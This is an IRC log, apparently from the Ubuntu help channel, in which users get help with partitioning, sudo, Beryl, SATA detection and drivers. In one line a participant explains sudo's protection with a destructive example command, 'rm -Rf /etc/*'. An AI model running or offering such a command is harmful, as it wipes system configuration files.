[10:13] <SplashTK> dystopianray, do I need to make a linux swap?
[10:13] <Flannel> !xen | sky_monkey007
[10:13] <ubotu> sky_monkey007: XEN is a virtual machine monitor for x86 that supports execution of multiple guest operating systems with unprecedented levels of performance and resource isolation. Information on installing it for Ubuntu can be found at https://wiki.ubuntu.com/XenOnEdgy
[10:13] <variant> Bonez56: what model? some toshibas have shocking power management (some have excellent to be true though)
[10:13] <SplashTK> dystopianray, or will it make it itself?
[10:13] <dystopianray> SplashTK: you need to makea  partition for it
[10:13] <Bonez56> variant, Toshiba M40
[10:13] <SplashTK> dystopianray, k 1GB enough?
[10:14] <dystopianray> SplashTK: how much ram do you have?
[10:14] <SuoYlimys> sky_monkey007: this doesn't allow me to do that :D
[10:14] <SuoYlimys> this wants me to make a primary partition, after that one extended and one logical
[10:14] <sky_monkey007> variant: while Li-ion don't have a physical battery memory, the controller chip that monitors battery levels can cause problem if you don't calibrate your battery by fully charging it and discharging it on a monthly basis.
[10:14] <variant> Bonez56: shouldn't have any problems. have you tested it with windows recently?
[10:14] <SplashTK> 512mb
[10:14] <variant> sky_monkey007: I wasn't aware that that was a problem
[10:14] <sky_monkey007> SuoYlimys: you can't make one primary partition, and several extended partitions under it?
[10:14] <SuoYlimys> seems that i can't
[10:14] <Bonez56> variant, nope.. have not tried. don't even know which software program I could use on it... My old laptop was a Compaq but it came with its own software
[10:14] <SplashTK> dystopianray, 512MB
[10:15] <dystopianray> SplashTK: yeah 1GB is fine
[10:15] <SplashTK> dystopianray, , cool
[10:15] <sky_monkey007> variant: it can be an issue.  It all depends on who makes your battery module.  I run on an older Apple Powerbook G4, and that's what Apple recommends.
[10:15] <sky_monkey007> (yes, I do run Linux on it)
[10:15] <dystopianray> SplashTK: you don't technically need a swap partition, linux can use swap files, like windows, but the installer doesnt' handle that situation
[10:15] <variant> sky_monkey007: apple sucks though ;)
[10:15] <SplashTK> dystopianray, okay, so this will be better
[10:16] <sky_monkey007> variant: I personally like their laptops.  They are far less clunky than most.  I've always been a fan of PPC.
[10:16] <sky_monkey007> I've yet to try one of the Macbook Pro's, though.
[10:16] <krolben> hi all, I'm trying to install Ubuntu Server 6.10. The startup screen (where I choose to install to harddisk) appears fine, but when the next screen (grey background, and a red marker that I use to choose install options) appear, the screen is all blurry and skewed. It's impossible to read anything. What can I do?
[10:17] <variant> sky_monkey007: yeah, just kidding. ppc rocks and apple tend to make stylish systems.. i don't like the touch pad on some though
[10:17] <sky_monkey007> I do tend to dislike Apple desktops because of their lack of hardware expandability, however.
[10:17] <SplashTK> dystopianray, Okay so now I have ntfs 138GB, which my winxp install is on, ext3 13.67GB which I want to install ubuntu on, and a 1GB linux Swap
[10:17] <SplashTK> dystopianray,  that sound good?
[10:17] <Flannel> krolben: Did you verfy the md5 of the iso (unless it was a torret)?  did you burn at 4x?
[10:17] <variant> sky_monkey007: indeed, who wants a closed white box (buy a refrigerator)
[10:17] <dystopianray> SplashTK: yeah that sounds fine
[10:18] <krolben> maybe I didn't do that. Maybe I should d/l it again and give it another try? Has there been other examples of this issue?
[10:18] <variant> SplashTK: you really don't need that much swap, it will never get used but with a large disk it doesn't matter i suppose
[10:18] <sky_monkey007> variant: they aren't bad for server use, but for a personal system, I'd rather go beige-box :)
[10:18] <variant> sky_monkey007: hehe
[10:18] <Flannel> krolben: Check the md5 of the iso.  If it's not bad, there's no reason to re-download.
[10:18] <sky_monkey007> I do run a dual Xeon XServe at work, and it does haul major ass.
[10:18] <Dragonath> hi
[10:18] <SplashTK> dystopianray, okay now I got mount point and 3 things to choose from
[10:18] <sky_monkey007> suprisingly they were cheaper than a Dell with the same specs
[10:18] <krolben> ok, I'll check. Do you know what the problem could be, if the md5 is ok?
[10:19] <SplashTK> dystopianray, first drop down says /media//hda1
[10:19] <variant> sky_monkey007: i work in a datacenter, not a mac in the entire place that i have seen
[10:19] <Flannel> krolben: But, if you didn't burn at 4x, then that's a good source of errors (bad burns, that is).
[10:19] <dystopianray> SplashTK: set '/' as the ~13GB partition
[10:19] <SuoYlimys> sky_monkey007: is it okay if i'll just make them as two primary partitions, one extended and one logical? will it work if they are like that?
[10:19] <the_man_mountain> How do you update suversion under ubuntu?
[10:19] <dystopianray> SplashTK: and swap to that 1GB one
[10:19] <SplashTK> k
[10:19] <dystopianray> the_man_mountain: update the subversion software?
[10:19] <the_man_mountain> dys: Yes
[10:19] <dystopianray> SplashTK: is this your first install?
[10:19] <SplashTK> dystopianray, there's a another 2 drop downs after that, make them blank?
[10:19] <SplashTK> dystopianray, yeah lol, sorry
[10:20] <dystopianray> SplashTK: yes just make them blank, you only have two relevant partitions
[10:20] <krolben> could it be a hardware issue? I've got Ubuntu Desktop 6.10 installed fine on the system (but want to install Server instead)
[10:20] <sky_monkey007> SuoYlimys: I think you may be misunderstanding how parition heirarchy works...
[10:20] <SplashTK> dystopianray, okay done that
[10:20] <dystopianray> the_man_mountain: you'll need to find a newer deb, or upgrade to a newer ubuntu release
[10:20] <sky_monkey007> you have a primary partition which can have extended partitions...
[10:20] <sky_monkey007> under the extended partitions, you can break it up into more logical partitons
[10:20] <SuoYlimys> sky_monkey007: it's the only way this is allowing me to do it o.o
[10:21] <SplashTK> dystopianray, hit install? I verfied that everything was right, as in installing on the right partitions etc
[10:21] <Flannel> krolben: actually, it can be.  The server CD has less HW support than the others.  A good choice would be grab the alternate CD, install a console-only system, then change to the server kernel if you want.
[10:21] <variant> SuoYlimys: make the extended partition to take the whole rest of the disk and make logical partiitons inside that one
[10:21] <dystopianray> SplashTK: yes just hit install and it should all be fine
[10:21] <SuoYlimys> umm.. okay :D
[10:21] <SuoYlimys> i'll try
[10:21] <SplashTK> dystopianray, k thanks, you are a legend
[10:21] <dystopianray> SplashTK: are you installing edgy?
[10:22] <SplashTK> Ubuntu Ultimate 1.3
[10:22] <SplashTK> So yeah I think edgy
[10:22] <krolben> Flannel: the system is on an mini-itx board, so it could probably be the hardware... Thanks a lot for the help
[10:22] <Flannel> SplashTK: Those "Ultimate" editions aren't official, and rather silly; everything included is available in the normal (supported) Ubuntu.
[10:22] <Dragonath> mm any way to play windows media player plugin movies in firefox? I can play them if I download them just fine, but not in browser...
[10:23] <zoli21> Hi! Is there an apache 2.2 bacport for edgy?
[10:23] <SplashTK> Flannel, Yeah, but beryl and everything is already installed and works out of the box
[10:23] <Flannel> zoli21: nope
[10:24] <SuoYlimys> but... who can i make those logical partitions inside the extended partition?
[10:24] <krolben> exit
[10:24] <krolben> woops
[10:24] <SuoYlimys> how
[10:24] <sky_monkey007> variant: if your in a Windows centric environment then you probably have no real need for an Xserve.  We run a good deal of Mac clients, so I use the Xserve as an Open Directory (LDAP) server to manage my Mac client user and machine settings, and it also serves as a SMB and AFP file server, and Jabber IM server too.
[10:24] <zoli21> :(
[10:24] <variant> SplashTK: really, the "ultimate" editions are not worth it, for the one or two clicks they remove in installing beryl they also remove all support options that you would have with the real version
[10:24] <variant> sky_monkey007: it's very heterogenous, but mostly windows (:/)
[10:25] <Flannel> zoli21: if you want apache 2.2 you'll have to (possibly wait to) upgrade to Feisty.
[10:25] <sky_monkey007> OS 10.4 Server can integrate "ok" with Active Directory, but you can't administer any of your AD accounts with it, since Microsoft Active Directory isn't pure LDAP.
[10:25] <variant> sky_monkey007: just googled for xserve, had no idea apple made rackables lol
[10:25] <SuoYlimys> variant: how can i make those logical partitions inside the extended partition?
[10:25] <variant> sky_monkey007: I can't see it being overly populer tbh in the face of cheap commodity hardware
[10:25] <sky_monkey007> SuoYlimys: select the extended partition, and create logical partitions underneath it.
[10:26] <zoli21> Flannel: I built a usb distro based on edgy, it is not so easy uprgrade everything and apache 2.0 doesn't work if I run it on the live usb.
[10:26] <variant> SuoYlimys: an extended partition is a container for logical partitions
[10:26] <Dragonath> right, so no windows media player plugin for a firefox on linux?
[10:26] <SuoYlimys> how do i create them there? :D
[10:26] <variant> SuoYlimys: to be honest, in the installer gui i have no idea
[10:27] <sky_monkey007> variant: well when we priced out a similar Dell server with fiber-channel NIC and a 10.5TB RAID enclosure, an XServe with a 10.5TB XRaid was our most economical solution.
[10:27] <frafra> hi all
[10:27] <SplashTK> variant, this one has alot of stuff, not sure if anything was removed :S
[10:27] <variant> sky_monkey007: really, they look very expensive
[10:27] <Flannel> zoli21: Why doesn't apache work?  What makes you think 2.2 will?
[10:27] <variant> SplashTK: what you mean?
[10:28] <SplashTK> variant, the support stuff you were refering too, don't think it was taken out :S
[10:28] <sky_monkey007> variant: not as expensive as Dell was.  Our server cost us about 6.5K, and the XRaid costs us about 14K I think.
[10:28] <eyalw> installed xp (with no SP2) on macbook, got problems, try to upgrade, didnt work, so the common advice is format the partition and try again
[10:28] <variant> sky_monkey007: nice
[10:28] <variant> SplashTK: sorry i don't know what you mean
[10:28] <frafra> is the macmini intel festy compatible?
[10:28] <sky_monkey007> the XRaids are great for the price.  They have total remote administration, easy as hell to setup...iLO as well.
[10:28] <zoli21> Flannel: If I request files from apache2 on the server side i got that everything is tranfared but on the other site data with zero length is received.
[10:28] <Flannel> frafra: #ubuntu+1 for Feisty support, thanks.
[10:28] <frafra> thanks
[10:29] <Triddle> I did a dist-upgrade and now when I try to modprobe my sound module I get tons of errors about missing symbols; this seems to of happened to other people using ubuntu but I haven't found a solution yet. Anyone have one?
[10:29] <variant> sky_monkey007: cool, we should probably not discuss it here though :)
[10:29] <Flannel> zoli21: and what makes you think 2.2 would fix that?
[10:29] <zoli21> Flannel: some types of files are transferred (php, gif) and som not (jpg,png)
[10:29] <dystopianray> Triddle: was there a new kernel installed? you might need to reboot
[10:29] <sky_monkey007> The only downside is that the drives on the XRaid are ATA-133.  I wish they would've released a model with SAS drives, but meh.
[10:29] <Triddle> dystopianary: I have rebooted
[10:29] <SuoYlimys> and why is this leaving 4,7GB diskspace unused
[10:29] <Triddle> and I reran depmod -a just to be sure
[10:30] <sky_monkey007> true :)  I'll shutup about the *cough* other brand
[10:30] <SuoYlimys> or unallocated
[10:30] <Flannel> zoli21: sounds like a misconfiguration, not a versioning thing.  If it is a bug, file a bug, and Im sure it'll get fixed.
[10:30] <zoli21> Flannel: I am not sure if it will fix something, but I tried almost everything.
[10:30] <Flannel> zoli21: If you can be sure it's a bug (ask in #apache, they might be able to figure out whats going on), file a bug report on launchpad.net, and it'll get fixed.
[10:30] <zoli21> Flannel: I am sure that a bug for a derived distro is not acceptable
[10:31] <sky_monkey007> SuoYlimys: you should be able to allocate the entire amount of the extended partition as logical partitions.
[10:31] <compwiz18> would something bad happen if I symlinked bash to zsh, so that the default shell is zsh?
[10:31] <sky_monkey007> unless it's figuring that your going to lose that much to formatting, but I'd doubt it...
[10:31] <Flannel> zoli21: Well, if it's something you did, then presumably, when you upgrade to Feisty, you'll do the same thing.  Why dont you just fix whatever you broke?
[10:31] <SuoYlimys> WOW, NOW IT WORKS! \O/
[10:31] <sky_monkey007> nice :)
[10:32] <SuoYlimys> i didn't notice what did i do differently this time :D
[10:32] <Flannel> compwiz18: that's not how you're supposed to do it.  If you want your default shell to be zsh, set it.
[10:32] <zoli21> Flannel: With clean installation i got the same error
[10:32] <sky_monkey007> SuoYlimys: sometimes that happens to me too, hehe
[10:32] <compwiz18> Flannel: ah, ok.  how do i set it?
[10:32] <Triddle> compwiz18: does zsh and bash share a common scripting language? if not, you'll disable your computer for sure
[10:32] <SuoYlimys> :D
[10:32] <zoli21> Flannel: and I am unable to locate the source of the problem
[10:32] <sky_monkey007> my IT director always asks me "So what did you do to fix it?"  I always have to himhaw around the question.
[10:32] <Flannel> compwiz18: GUI?  Uh, 'users and groups', CLI?  usermod (-s option)
[10:33] <compwiz18> Flannel: ok, thanks
[10:33] <Flannel> zoli21: if, with a clean install you get the same error, then it's a bug.
[10:33] <zoli21> Flannel: Ok, I write a submission on launchpad
[10:34] <frafra> is edgy compatible with macmini intel-based?
[10:35] <sky_monkey007> frafra: it probably is
[10:35] <genii> From what I hear not natively yet but it can be done manually
[10:36] <sky_monkey007> I believe the mac-mini uses the same chipset as the macbooks.
[10:36] <Carsten-> back.. I sorted out all my probs & got nvidia driver working.
[10:36] <sky_monkey007> Oh, your asking about Edgy.  Nevermind.  I don't know :)
[10:36] <genii> frafra: Some info here http://modular.math.washington.edu/macbook/
[10:39] <genii> frafra Also here: http://www.mactel-linux.org/wiki/HOWTO
[10:39] <frafra> thanks
[10:39] <SuoYlimys> oh man
[10:40] <SuoYlimys> i have to start the installation from the beginning
[10:41] <olimpico> If I install Ubuntu server ediion, would it also have the stupid sudo configuration with no root?
[10:41] <zim> olimpico ye
[10:42] <zim> s
[10:42] <zim> but its not that stupid abd if you want root just sudo bash
[10:42] <gwenn_> hello
[10:42] <sky_monkey007> it can be annoying having to use sudo in front of every command, though.
[10:43] <sky_monkey007> I can see why they prefer the use of sudo, though
[10:43] <zim> you dont have to
[10:43] <sky_monkey007> i know
[10:43] <olimpico> zim: What I find stupid, is that you are logged in with the user account which actually has admin privileges
[10:43] <Crazytom> hello all.  can someone tell me where the grub configuration file is?
[10:43] <sky_monkey007> olimpico: good point :)
[10:43] <olimpico> I don't understand why they just do it that way and not ask during the isntallation
[10:44] <zim> it is one layer of protection as you still have to auth your admin
[10:44] <ferronica> Are you here????
[10:44] <olimpico> zim: What protection, there is much more protection if you have a password for the user you are logged in with and another for the admin.
[10:45] <zim> but if you want to you can "sudo bash" and that will give you the equiv of a root shell
[10:45] <Crazytom> just go into users and change the password for root and then just su
[10:46] <zim> yes but if some random code tried to execute it would have to know the password
[10:46] <Crazytom> ls
[10:46] <olimpico> I have Kubuntu in my laptop, and I tried to configure it in the normal way, but then from KDE you cannot just do Admin stuff since it's all configured in Ubuntus way. It's horrible
[10:46] <Crazytom> where is the grub.conf file?
[10:47] <zoli21> Flannel: I have found the solution, the apache is unable to read files from UnionFS with default configuration :) yes, it is a bug :)
[10:47] <olimpico> zim: Yes, but if they know your user password, with which you are logged in they will gain complete control of you computer. And in the norlmal way, they would only gain control of your account.
[10:48] <Dragonath> I think locate command helps when trying to find stuff
[10:48] <Dragonath> like "locate grub.conf"
[10:49] <maffler> o
[10:49] <maffler> hello
[10:49] <zim> what it protects from is say you run a command that another user created example sl this command = rm -Rf /etc/*
[10:49] <ferronica> Is there any software for Sony Erricson K750i ????
[10:49] <olimpico> zim: If some weird people like this way better, i have no problem with it, but why force everybody else. I know there's a lot of people out there like me that would prefere the normal way. Why Ubuntu has no option during the installation?
[10:49] <zim> it would ask you for you password
[10:50] <maffler> mh
[10:50] <the_man_mountain> I installed pythonsvn but could not locate it lol
[10:50] <zim> you are not forced to use it passwd root
[10:50] <the_man_mountain> Anyone know where to find it? I installed it using synaptic
[10:50] <olimpico> zim: I understand that, I know, I have kubuntu in my laptop, still i find this not as good as the normal way.
[10:50] <zim> well sudo passwd root the login as root
[10:50] <blue|palm> Help: My automount for usb devices suddenly stopped working... now i have to manually mount (which i dont know how to properly do). Im on edgy...
[10:50] <the_man_mountain> I already have it installed but don't know where to open. Sorry I'm new to linux
[10:51] <olimpico> zim: Yes, but I don't want the user to have admin(root) rights
[10:51] <zim> what is diff then if you give root a password you can login to root#
[10:51] <zim> then change the sudoer file
[10:52] <olimpico> zim: And then I already configured that, and I was happy, untill I got a KDE admin button and clicked on it, try my root password, didnt work, tried my root password also didn't work
[10:52] <zim> or just remove yourself from group admin
[10:53] <blue|palm> Can anyone tell me how to manually mount a usb drive? Or how to fix my automount which decided to stop working?
[10:53] <zim> go download fedora then
[10:53] <olimpico> zim: Apparently KDE for Ubuntu is configured so that the admin is the user, so if I remove the user from the admin group, then I have no chance of executing Admin stuff from within KDE
[10:54] <olimpico> zim: ha..................ha.............................ha
[10:54] <Crazytom> Dragonath, there is no grub.conf file.  i'm asking where the equivelent is.  you don't think i'd go through the trouble of installing xchat on a brand new install if all i had to do was hit search do you?
[10:54] <zim> just use it as it was meant to be used
[10:55] <olimpico> zim: I use Gentoo in my desktop, and Kubuntu in my laptop, but I'm really thinking on moving to Gentoo, just for this anoying issue. And I find it a pitty that such a good distributon like Ubuntu has such a childish annoying issue.
[10:55] <epi> Guys, whats the most basic "make your desktop look omgpwn" program I can use?
[10:56] <zim> if you as any pen tester that is good practice
[10:56] <zim> ask
[10:56] <sky_monkey007> epi: what do you mean, exactly?
[10:56] <epi> pimp my desktop :D
[10:56] <Pnquin007> Does anybody here owner of laptop Acer Aspire 3650?
[10:57] <ferronica> how to open .icon directory
[10:57] <sky_monkey007> Well, first you call eXibit and ask him if he knows anything about Linux...
[10:57] <epi> Olimpico, is there no way of restricting it to sudo?
[10:57] <Pnquin007> Sorry for worst then terrible english
[10:57] <sky_monkey007> when he says "no", then you start reading about Beryl.
[10:57] <zim> what you can then do is control the level of root each user has
[10:57] <olimpico> epi: What do you mena?
[10:57] <GionnyBoss> epi: install Beryl
[10:57] <epi> I assumed that was sudo was just below root, but allowed for alot of control.
[10:57] <sky_monkey007> he's just interested in the most flashy eye candy.
[10:57] <epi> Id like to install beryl, but im extremely tired and its hardly simple to install.
[10:58] <sky_monkey007> It's really not that hard at all
[10:58] <spuck00> Got a gentoo system now but thinking of switching. Got an empty patition on the drive for ubuntu. Can I just use the old /boot partition and add ubuntu to the grub.conf and use same swap partition? Or would I need seperate partitions?
[10:58] <epi> Sky monkey has the idea, but id like to marry that concept with simplicity.
[10:58] <giuseppe_> !list
[10:58] <ubotu> I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[10:58] <GionnyBoss> epi: if you wanna pimp your desktop, install Beryl :P lol ... And if you have an nVidia card, it's pretty easy
[10:58] <sky_monkey007> It doesn't get much simpler than Beryl for an OpenGL desktop...
[10:58] <comodo> is there anyway to get rid of software that is automatically installed by the ubuntu cd
[10:58] <zim> sudo is very powerfull you can say user X can be root for everything but user Y can only be root for say ifconfig
[10:58] <epi> Tbh, im still getting used to the whole "repositories" concept of installing.
[10:58] <olimpico> spuck00: You can use the same /boot partition
[10:58] <giuseppe_> ciao
[10:59] <Crazytom> anyone know what the grub.conf equivelent is?  please?
[10:59] <nekr0z> hello all! have a problem: in GNOME, everything is just OK, but when I start some other WM, like XFCE, or E, or ion3 - all GTK apps have wery little fonts. Back in GNOME everything is OK. What's the matter?
[10:59] <ferronica> how to open .icon directory
[10:59] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. Anyone know why my ubuntu system can't view the CDs?
[10:59] <Crazytom> !grub.conf
[10:59] <ubotu> Sorry, I don't know anything about grub.conf - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:59] <ferronica> To install icon theme
[10:59] <GionnyBoss> zim: really? you can set users with sudo to be root only for some commands? how can you do it? I'm interested
[10:59] <sky_monkey007> epi: then I recommend that you start focusing on the important things, like understanding how your system actually works before worrying about eye candy.
[10:59] <spuck00> olimpico: ok thanks, how about the swap?
[10:59] <zim> grub.conf = /boot/grub/menu.lst
[11:00] <epi> But thats increadibly boring.
[11:00] <sky_monkey007> thats the problem these days with Windows users.  They typically don't care or don't bother to know how to configure and use their systems, which is why they just get turned into zombie in a botnet
[11:00] <nekr0z> GionnyBoss: see file /etc/sudoers and read the corresponding manpage
[11:00] <ferronica> epi: DO you know???
[11:00] <olimpico> spuck00: Also, you can even use the same /home
[11:00] <epi> I know nada.
[11:00] <ferronica> epi: how to open .icon liabrary
[11:00] <olimpico> spuck00: You can use all the same except for the / directory
[11:00] <epi> Im not even sure my damn Nvidia Drivers installed right, things seem a tad too slow when I move the windows about.
[11:01] <sky_monkey007> epi: what good is a flashy Linux desktop if someone owns you because you didn't turn off <insert system service here>, or didn't know how to properly operate your system in general?
[11:01] <zim> look in the /etc/sudoers file
[11:01] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. Anyone know why my ubuntu system can't view the CDs?
[11:01] <GionnyBoss> nekr0z: thanks :)
[11:01] <epi> :O Sky monkey, I know, I know...I was enquiring as to if their was a simple program to update the look of the desktop.
[11:02] <olimpico> axisme: Are there music CDs?
[11:02] <sky_monkey007> epi: my advice to you is to start reading Linux for newbie tutorials.  You don't have to be a guru, but if you seem like you know at least something, and that you've taken the perogative to learn on your own, then people here will be much more apt (ha, apt) to help you.
[11:02] <zim> GionnyBoss did you get tht
[11:02] <olimpico> axisme: What kind of CDs are they, which format?
[11:02] <GionnyBoss> zim yeah thanks :)
[11:02] <epi> I have believe it or not :P
[11:02] <sky_monkey007> epi: you can always change the overall theme by downloading one from gnome-look.org
[11:02] <epi> I spent 8 hours last night trying to install this.
[11:03] <sky_monkey007> epi: trust me, I've been there
[11:03] <epi> THEN found out that ubuntu didnt support SATA raid (1) HD's because they didnt put RMraid on the live disc
[11:03] <Virtual> Hello, I have downloaded yesterday the ubuntu cd from the website and when booting from it I notest that it does not detect my hdd and my wlan card, actually the wlan card does but thats another story, the main problem is the hdd because I cannot install the operating system from the bootcd, I am running on a brand new Dell Inspiron 1501 with a 80 GB SATA HDD
[11:03] <sky_monkey007> I remember when I spent 10 hours straight just trying to get my wireless card to work with Fedora Core 3
[11:03] <blue|palm> Does anybody know why my automount could have stopped working? USB devices no longer work...
[11:03] <axisme> olimpico: they are linkword language CD. In the main directory there is two folders, a .exe, a .dll and a .ini
[11:03] <sky_monkey007> Your doing RAID 1?  Are you really wanting to lose everything?
[11:04] <axisme> olimpico: i just cant view the contents on ubuntu at all though
[11:04] <olimpico> Virtual, what do you mean by it doesn't detect your hdd?
[11:04] <epi> Ahem...
[11:04] <sky_monkey007> especially lose that 8hrs of work you did just getting it installed?
[11:04] <ferronica> how to open .icon directory
[11:04] <epi> It works on Windows, I assumed this OS would have native support, also I was doing it off two blank discs.
[11:04] <ferronica> how to open .icon directory
[11:05] <epi> No, more importantly, I never found a solution, Disconnected the HD manually.
[11:05] <Virtual> olimpico exactly what I am saying, it is a SATA disk and I do have /dev/hda but when looking at the /var/log/messages log I saw that he tried to mount the drive about 5 times then gave up
[11:05] <olimpico> axisme: Maybe the CD is made in a format which you don't have drivers to open.
[11:05] <zim> what .icon dir
[11:05] <sky_monkey007> epi: RAID 1 doesn't work on Windows by default.  You have to pre-install the drivers for any RAID card your using prior to installing the OS too.
[11:05] <Virtual> and Gparted does not see any drives
[11:05] <spuck00> olimpico: well I'm gonna use the other partition and use this one as only /home. Thanks ;)
[11:05] <spuck00> Can I install ubuntu from harddrive/netisntall? haven't got any cds. :P Can't find anything usefull about this. :S
[11:05] <epi> Down to a single 160GB drive till next week. When I get the energy to try again.
[11:05] <axisme> olimpico: I was thyinking of some kind of DRM thing
[11:05] <blue|palm> Can anyone help me with my automounting problem? USB devices no longer get automatically mounted
[11:06] <epi> Ahhh...ok. Did not know.
[11:06] <mjr> epi, would usually recommend using linux software raid in workstations, but YMMV
[11:06] <GionnyBoss> epi: Linux is free and you should thank that it's free and you can do almost everything. For some things, does not work or you need to spend time to let it work in the right way. If you don't like this, go and buy a Windows licence
[11:06] <olimpico> Virtual: I'm using SATA HD with no problems on Gentoo, so I assume that your installation CD doesn't have the drivers. Maybe you should try with the installation DVD.
[11:06] <sky_monkey007> epi: fortunately for you there are some really very basic and easy to follow step by step Beryl installation tutorials out there.
[11:06] <sky_monkey007> Google is your friend :)
[11:06] <epi> Yep, but im on 64bit.
[11:06] <sky_monkey007> uhg...software RAID.
[11:07] <epi> Already fixed most of the 64bit probs, got a 32bit FF and forced the architecture.
[11:07] <epi> Which I am extremely proud of.
[11:07] <sky_monkey007> Firefox?
[11:07] <epi> Yah.
[11:07] <epi> I now can run flash etc, apparently none of them support 64bit.
[11:08] <sky_monkey007> I could've swore they had a 64bit rpm...
[11:08] <epi> Firefox does, its flash that doesnt.
[11:08] <sky_monkey007> ah.
[11:08] <dystopianray> epi: you can use nspluginwrapper to use 32-bit plugins in 64-bit browsers
[11:08] <epi> And Ill have little chance of getting the Codecs for say "wmas" or "acc".
[11:08] <Virtual> olimpico I do not want to sound ignorant but I am not of a ubuntu user, myself I am more than a debian user but I did not see on the ubuntu website the option to download a dvd, as far as I can see there is only a cd version
[11:08] <sky_monkey007> Well flash support has always sucked w/ Linux, typically speaking.
[11:08] <olimpico> Virtual: There are definitely drivers for SATA under linux, but it may be possible that the installation CD you are using doesn't have them, maybe because it's to old, or too small, or whatever. For example with the Ubuntu installation CD you cannot install reiserfs, but with the Installation DVD you can.
[11:08] <ferronica> how to open .icon directory
[11:08] <epi> Got that dys! Took me some time but I found it.
[11:09] <dystopianray> epi: you should use a 32-bit install
[11:09] <sky_monkey007> epi: win32codecs should be a package you can download from one of the 3rd party repositories.
[11:09] <olimpico> Virtual: Give me a minut and I'll give you a link.
[11:09] <Virtual> ok, thank you
[11:10] <olimpico> Virtual: I'm also not a real Ubuntu expert my self, I have been more into Gentoo for the last years.
[11:10] <ferronica> how to open icon directory :(
[11:11] <sky_monkey007> epi: here's a good page to start.  Tons of good info for you: http://ubuntuguide.org/wiki/Ubuntu_Edgy
[11:11] <olimpico> Virtual: Do you want it for Desktop or for server?
[11:11] <epi> ahh cool cool.
[11:11] <Virtual> Desktop because its the same with laptop
[11:12] <olimpico> Virtual: http://kubuntu.org/download.php
[11:12] <mojo> hey there party people!  i did a dumb thing... i swapped out video cards (ati for nvidia) and forgot to be sure i had the latest ENVY deb installed before running it.  can anyone give me the url to the latest envy deb so i can wget the sucker?
[11:12] <olimpico> There you can download the DVD, it's Kubuntu, are you a GNOME user?
[11:13] <olimpico> Virtual: There you can download the DVD, it's Kubuntu, are you a GNOME user?
[11:13] <Virtual> olimpico ah yes I have found kubuntu dvd but I wanted to try to "real" thing, thank you
[11:13] <albaret> can I repository for kubuntu???
[11:14] <olimpico> Virtual: hahahaha, what do you mean, with the real thing?
[11:14] <olimpico> Virtual: You mean Gnome is more real than KDE?
[11:14] <Virtual> no no
[11:14] <olimpico> Virtual: hahahahaha!
[11:14] <zim> mojo where do i look i will fine you the url
[11:15] <olimpico> Virtual: Ubuntu & Kubuntu have the same system, they just differ from one having KDE and the other Gnome
[11:15] <mojo> zim: um, it was last week, and i got sidetracked.. there is a website for envy with the debs, the project page.  if you googled it up for me and pasted the url to the deb download i would be really grateful
[11:15] <axisme> Hi all. I have a problem with viewing a set of CDs. The CDs run fine in windows. IN ubuntu it sees the label of the CD and it shows on desktop. When I open it though there is nothing there at all. I also can't view the files via terminal. I can't view in K3B either. But If i make a copy of the disc in K3B the copy then works on my windows computer. Anyone know why my ubuntu system can't view the CDs?
[11:15] <variant> mojo: yeah, can you google for the home page? tell me what it is then i can give you the url
[11:15] <olimpico> You can even install KDE on Ubuntu and Gnome on Kubuntu and have the same result.
[11:16] <variant> mojo: GOOGLE IT UP FOR YOUR SELF
[11:16] <mojo> variant: lol i am staring at text running irssi, no gui
[11:16] <zim> np
[11:16] <variant> mojo: use lynx
[11:16] <Virtual> olimpico i know that, what I meant was that ubuntu was actually the first and even if kubuntu is a project of ubuntu they have different forums and other stuff, it sounds silly i know...
[11:16] <CommanderCool> I use Ubuntu 6.10 and I can't get my microphone working (I already tried all that alsamixer-stuff mentioned on all the websites)
[11:16] <mojo> zim: thx
[11:16] <Virtual> olimpico but I just want to test this distro more carefully because I saw there is much fuss about it
[11:16] <mojo> variant: i have 0 lynx experience.
[11:16] <blue|palm> Does anybody here no anything about mounting USB drives?
[11:16] <variant> mojo: "lynx www.google.com"
[11:16] <variant> mojo: no expereince required
[11:16] <olimpico> Virtual: I have tried Ubuntu and Kubuntu, I much more satisfied with Kubuntu, but maybe is just a matter of taste.
[11:17] <variant> mojo: incedentally, you might have to apt-get instal lynx first :P
[11:17] <zim> http://albertomilone.com/ubuntu/nvidia/scripts/envy_0.9.1-0ubuntu3_all.deb
[11:17] <zim> is that it
[11:17] <mojo> variant: hmm... recovery mode has no vt's.. :(
[11:17] <zim> no thats nvidia
[11:17] <olimpico> Virtual: But starting with the installation disks, I think Kubuntu did a better job, but it's just my humble opinion.
[11:17] <variant> mojo: /exec openvt
[11:17] <mojo> zim: thanks!
[11:17] <Virtual> olimpico yeah, I prefer kde, but anyway, thank you for all the help
[11:18] <zim> is that what you want
[11:18] <xNinja> hello...when i boot ubuntu it will make a .config file for my hardware/kernel ?
[11:18] <fasm_erx_CC2> Where do you usually install new software on ubuntu? What folder?
[11:18] <xNinja> so that i can use it to compile a kernel
[11:18] <olimpico> Virtual: here you can find the Ubuntu DVD: http://nginyang.uvt.nl/edgy/
[11:18] <dystopianray> xNinja: look in /boot
[11:19] <olimpico> Virtual: or just type Ubuntu DVD in google and you will get enough links
[11:19] <splashtk> Hey, I was wondering if anyone could help me with ATI drivers, I can't get any different resolutions other than 800x600
[11:19] <variant> xNinja: install the kernel source and all the required build packages and in the source directory run make oldconfig iirc that should generate the config
[11:19] <CommanderCool> please could someone help me to get my microphone working??
[11:20] <shafto> splashtk, Which drivers did you install?
[11:20] <frafra> I have to buy a new laptop: I would now what are the best ubuntu compatible laptop
[11:20] <splashtk> shafto, none yet, just freshly installed
[11:20] <variant> CommanderCool: I admit it's not obvious how to set up some sound hardware like that on some computers. your best bet is just to mess with alsamixergui untill you get some sound
[11:20] <xNinja> variant: after installing ubuntu it will give me a .config file? to use it in another distro to compile the kernel with it
[11:20] <sacater> frafra: depends, ubuntu will run on almost all new laptops, if you gett an older one, xubuntu will do the job
[11:21] <variant> frafra: ibm/lenovo thinkpads have exceptional support
[11:21] <sacater> frafra: i would recommend xubuntu as it is a bit faster :P
